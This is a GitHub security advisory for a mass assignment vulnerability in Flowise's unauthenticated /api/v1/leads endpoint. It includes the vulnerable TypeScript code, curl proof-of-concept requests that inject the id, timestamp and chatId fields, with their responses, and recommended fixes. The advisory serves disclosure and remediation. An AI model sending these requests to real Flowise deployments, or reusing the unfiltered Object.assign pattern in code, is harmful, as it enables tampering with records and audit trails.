{"id":"GHSA-mq4r-h2gh-qv7x","summary":"Flowise Allows Mass Assignment in `/api/v1/leads` Endpoint","details":"## Summary\n\n**A Mass Assignment vulnerability in the `/api/v1/leads` endpoint allows any unauthenticated user to control internal entity fields (`id`, `createdDate`, `chatId`) by including them in the request body.**\n\nThe endpoint uses `Object.assign()` to copy all properties from the request body to the Lead entity without any input validation or field filtering. This allows attackers to bypass auto-generated fields and inject arbitrary values.\n\n| Field | Value |\n|-------|-------|\n| **Vulnerability Type** | Mass Assignment |\n| **CWE ID** | [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html) |\n| **Authentication Required** | None |\n| **Affected Endpoint** | `POST /api/v1/leads` |\n\n\n---\n\n## Details\n\n### Root Cause\n\nThe vulnerability exists in `/packages/server/src/services/leads/index.ts` at lines 27-28:\n\n```typescript\n// File: /packages/server/src/services/leads/index.ts\n// Lines 23-38\n\nconst createLead = async (body: Partial\u003cILead\u003e) =\u003e {\n    try {\n        const chatId = body.chatId ?? uuidv4()\n\n        const newLead = new Lead()\n        Object.assign(newLead, body)  // ← VULNERABILITY: All properties copied!\n        Object.assign(newLead, { chatId })\n\n        const appServer = getRunningExpressApp()\n        const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)\n        const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)\n        return dbResponse\n    } catch (error) {\n        throw new InternalFlowiseError(...)\n    }\n}\n```\n\nThe `Object.assign(newLead, body)` on line 28 copies **ALL** properties from the request body to the Lead entity, including:\n- `id` - The primary key (should be auto-generated)\n- `createdDate` - The creation timestamp (should be auto-generated)\n- `chatId` - The chat identifier\n\n### Lead Entity Definition\n\nThe Lead entity at `/packages/server/src/database/entities/Lead.ts` uses TypeORM decorators that should auto-generate these fields:\n\n```typescript\n// File: /packages/server/src/database/entities/Lead.ts\n\n@Entity()\nexport class Lead implements ILead {\n    @PrimaryGeneratedColumn('uuid')  // Should be auto-generated!\n    id: string\n\n    @Column()\n    name?: string\n\n    @Column()\n    email?: string\n\n    @Column()\n    phone?: string\n\n    @Column()\n    chatflowid: string\n\n    @Column()\n    chatId: string\n\n    @CreateDateColumn()  // Should be auto-generated!\n    createdDate: Date\n}\n```\n\nHowever, `Object.assign()` overwrites these fields before they are saved, bypassing the auto-generation.\n\n### Why the Endpoint is Publicly Accessible\n\nThe `/api/v1/leads` endpoint is whitelisted in `/packages/server/src/utils/constants.ts`:\n\n```typescript\n// File: /packages/server/src/utils/constants.ts\n// Line 20\n\nexport const WHITELIST_URLS = [\n    // ... other endpoints ...\n    '/api/v1/leads',  // ← No authentication required\n    // ... more endpoints ...\n]\n```\n\n---\n\n## Proof of Concept\n\n\u003cimg width=\"1585\" height=\"817\" alt=\"Screenshot 2025-12-26 at 2 28 00 PM\" src=\"https://github.com/user-attachments/assets/807984e7-ae4f-4e8a-85b7-057d6ac42ff5\" /\u003e\n\n\n### Prerequisites\n\n- Docker and Docker Compose installed\n- curl installed\n\n### Step 1: Start Flowise\n\nCreate a `docker-compose.yml`:\n\n```yaml\nservices:\n  flowise:\n    image: flowiseai/flowise:latest\n    restart: unless-stopped\n    environment:\n      - PORT=3000\n      - DATABASE_PATH=/root/.flowise\n      - DATABASE_TYPE=sqlite\n      - CORS_ORIGINS=*\n      - DISABLE_FLOWISE_TELEMETRY=true\n    ports:\n      - '3000:3000'\n    volumes:\n      - flowise_data:/root/.flowise\n    entrypoint: /bin/sh -c \"sleep 3; flowise start\"\n\nvolumes:\n  flowise_data:\n```\n\nStart the container:\n\n```bash\ndocker compose up -d\n# Wait for Flowise to be ready (about 1-2 minutes)\ncurl http://localhost:3000/api/v1/ping\n```\n\n### Step 2: Baseline Test - Normal Lead Creation\n\nFirst, create a normal lead to see expected behavior:\n\n```bash\ncurl -X POST http://localhost:3000/api/v1/leads \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"chatflowid\": \"normal-chatflow-123\",\n    \"name\": \"Normal User\",\n    \"email\": \"normal@example.com\",\n    \"phone\": \"555-0000\"\n  }'\n```\n\n**Expected Response (normal behavior):**\n```json\n{\n    \"id\": \"018b23e3-d6cb-4dc5-a276-922a174b44fd\",\n    \"name\": \"Normal User\",\n    \"email\": \"normal@example.com\",\n    \"phone\": \"555-0000\",\n    \"chatflowid\": \"normal-chatflow-123\",\n    \"chatId\": \"auto-generated-uuid\",\n    \"createdDate\": \"2025-12-26T06:20:39.000Z\"\n}\n```\n\nNote: The `id` and `createdDate` are auto-generated by the server.\n\n### Step 3: Exploit - Inject Custom ID\n\nNow inject a custom `id`:\n\n```bash\ncurl -X POST http://localhost:3000/api/v1/leads \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"chatflowid\": \"attacker-chatflow-456\",\n    \"name\": \"Attacker\",\n    \"email\": \"attacker@evil.com\",\n    \"phone\": \"555-EVIL\",\n    \"id\": \"aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee\"\n  }'\n```\n\n**Actual Response (vulnerability confirmed):**\n```json\n{\n    \"id\": \"aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee\",\n    \"name\": \"Attacker\",\n    \"email\": \"attacker@evil.com\",\n    \"phone\": \"555-EVIL\",\n    \"chatflowid\": \"attacker-chatflow-456\",\n    \"chatId\": \"auto-generated-uuid\",\n    \"createdDate\": \"2025-12-26T06:20:40.000Z\"\n}\n```\n\n**⚠️ The attacker-controlled `id` was accepted!**\n\n### Step 4: Exploit - Inject Custom Timestamp\n\nInject a fake `createdDate`:\n\n```bash\ncurl -X POST http://localhost:3000/api/v1/leads \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"chatflowid\": \"timestamp-test-789\",\n    \"name\": \"Time Traveler\",\n    \"email\": \"timetraveler@evil.com\",\n    \"createdDate\": \"1970-01-01T00:00:00.000Z\"\n  }'\n```\n\n**Actual Response (vulnerability confirmed):**\n```json\n{\n    \"id\": \"some-auto-generated-uuid\",\n    \"name\": \"Time Traveler\",\n    \"email\": \"timetraveler@evil.com\",\n    \"chatflowid\": \"timestamp-test-789\",\n    \"chatId\": \"auto-generated-uuid\",\n    \"createdDate\": \"1970-01-01T00:00:00.000Z\"\n}\n```\n\n**⚠️ The attacker-controlled timestamp from 1970 was accepted!**\n\n### Step 5: Exploit - Combined Mass Assignment\n\nInject multiple fields at once:\n\n```bash\ncurl -X POST http://localhost:3000/api/v1/leads \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"chatflowid\": \"any-chatflow-attacker-wants\",\n    \"name\": \"Mass Assignment Attacker\",\n    \"email\": \"massassign@evil.com\",\n    \"phone\": \"555-HACK\",\n    \"id\": \"11111111-2222-3333-4444-555555555555\",\n    \"createdDate\": \"2000-01-01T12:00:00.000Z\",\n    \"chatId\": \"custom-chat-id-injected\"\n  }'\n```\n\n**Actual Response (vulnerability confirmed):**\n```json\n{\n    \"id\": \"11111111-2222-3333-4444-555555555555\",\n    \"name\": \"Mass Assignment Attacker\",\n    \"email\": \"massassign@evil.com\",\n    \"phone\": \"555-HACK\",\n    \"chatflowid\": \"any-chatflow-attacker-wants\",\n    \"chatId\": \"custom-chat-id-injected\",\n    \"createdDate\": \"2000-01-01T12:00:00.000Z\"\n}\n```\n\n**⚠️ ALL three internal fields (`id`, `createdDate`, `chatId`) were controlled by the attacker!**\n\n### Verification\n\nThe exploit succeeds because:\n1. ✅ HTTP 200 response (request accepted)\n2. ✅ `id` field contains attacker-controlled UUID\n3. ✅ `createdDate` field contains attacker-controlled timestamp\n4. ✅ `chatId` field contains attacker-controlled string\n5. ✅ No authentication headers were sent\n\n---\n\n## Impact\n\n### Who is Affected?\n\n- **All Flowise deployments** that use the leads feature\n- Both **open-source** and **enterprise** versions\n- Any system that relies on lead data integrity\n\n### Attack Scenarios\n\n| Scenario | Impact |\n|----------|--------|\n| **ID Collision Attack** | Attacker creates leads with specific UUIDs, potentially overwriting existing records or causing database conflicts |\n| **Audit Trail Manipulation** | Attacker sets fake `createdDate` values to hide malicious activity or manipulate reporting |\n| **Data Integrity Violation** | Internal fields that should be server-controlled are now user-controlled |\n| **Chatflow Association** | Attacker can link leads to arbitrary chatflows they don't own |\n\n### Severity Assessment\n\nWhile this vulnerability doesn't directly expose sensitive data (unlike the IDOR vulnerability), it violates the principle that internal/auto-generated fields should not be user-controllable. This can lead to:\n\n- Data integrity issues\n- Potential business logic bypasses\n- Audit/compliance concerns\n- Foundation for chained attacks\n\n---\n\n## Recommended Fix\n\n### Option 1: Whitelist Allowed Fields (Recommended)\n\nOnly copy explicitly allowed fields from the request body:\n\n```typescript\nconst createLead = async (body: Partial\u003cILead\u003e) =\u003e {\n    try {\n        const chatId = body.chatId ?? uuidv4()\n\n        const newLead = new Lead()\n        \n        // ✅ Only copy allowed fields\n        const allowedFields = ['chatflowid', 'name', 'email', 'phone']\n        for (const field of allowedFields) {\n            if (body[field] !== undefined) {\n                newLead[field] = body[field]\n            }\n        }\n        newLead.chatId = chatId\n        // Let TypeORM auto-generate id and createdDate\n\n        const appServer = getRunningExpressApp()\n        const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)\n        const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)\n        return dbResponse\n    } catch (error) {\n        throw new InternalFlowiseError(...)\n    }\n}\n```\n\n### Option 2: Use Destructuring with Explicit Fields\n\n```typescript\nconst createLead = async (body: Partial\u003cILead\u003e) =\u003e {\n    try {\n        // ✅ Only extract allowed fields\n        const { chatflowid, name, email, phone } = body\n        const chatId = body.chatId ?? uuidv4()\n\n        const appServer = getRunningExpressApp()\n        const lead = appServer.AppDataSource.getRepository(Lead).create({\n            chatflowid,\n            name,\n            email,\n            phone,\n            chatId\n            // id and createdDate will be auto-generated\n        })\n        \n        const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)\n        return dbResponse\n    } catch (error) {\n        throw new InternalFlowiseError(...)\n    }\n}\n```\n\n### Option 3: Use class-transformer with @Exclude()\n\nAdd decorators to the Lead entity to exclude sensitive fields from assignment:\n\n```typescript\nimport { Exclude } from 'class-transformer'\n\n@Entity()\nexport class Lead implements ILead {\n    @PrimaryGeneratedColumn('uuid')\n    @Exclude({ toClassOnly: true })  // ✅ Prevent assignment from request\n    id: string\n\n    // ... other fields ...\n\n    @CreateDateColumn()\n    @Exclude({ toClassOnly: true })  // ✅ Prevent assignment from request\n    createdDate: Date\n}\n```\n\n### Additional Recommendation\n\nConsider applying the same fix to other endpoints that use `Object.assign()` with request bodies, such as:\n- `/packages/server/src/utils/addChatMessageFeedback.ts` (similar pattern)\n\n---\n\n## Resources\n\n- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)\n- [OWASP: Mass Assignment Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)\n- [OWASP API Security Top 10 - API6:2023 Unrestricted Access to Sensitive Business Flows](https://owasp.org/API-Security/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows/)\n- [Node.js Security Best Practices](https://nodejs.org/en/docs/guides/security/)\n\n---","aliases":["CVE-2026-30822"],"modified":"2026-03-09T13:32:21.781052Z","published":"2026-03-06T22:19:14Z","database_specific":{"nvd_published_at":"2026-03-07T05:16:27Z","cwe_ids":["CWE-915"],"severity":"HIGH","github_reviewed_at":"2026-03-06T22:19:14Z","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-mq4r-h2gh-qv7x"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30822"},{"type":"PACKAGE","url":"https://github.com/FlowiseAI/Flowise"},{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.13"}],"affected":[{"package":{"name":"flowise","ecosystem":"npm","purl":"pkg:npm/flowise"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.0.13"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-mq4r-h2gh-qv7x/GHSA-mq4r-h2gh-qv7x.json","last_known_affected_version_range":"\u003c= 3.0.12"}}],"schema_version":"1.7.3","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L"}]}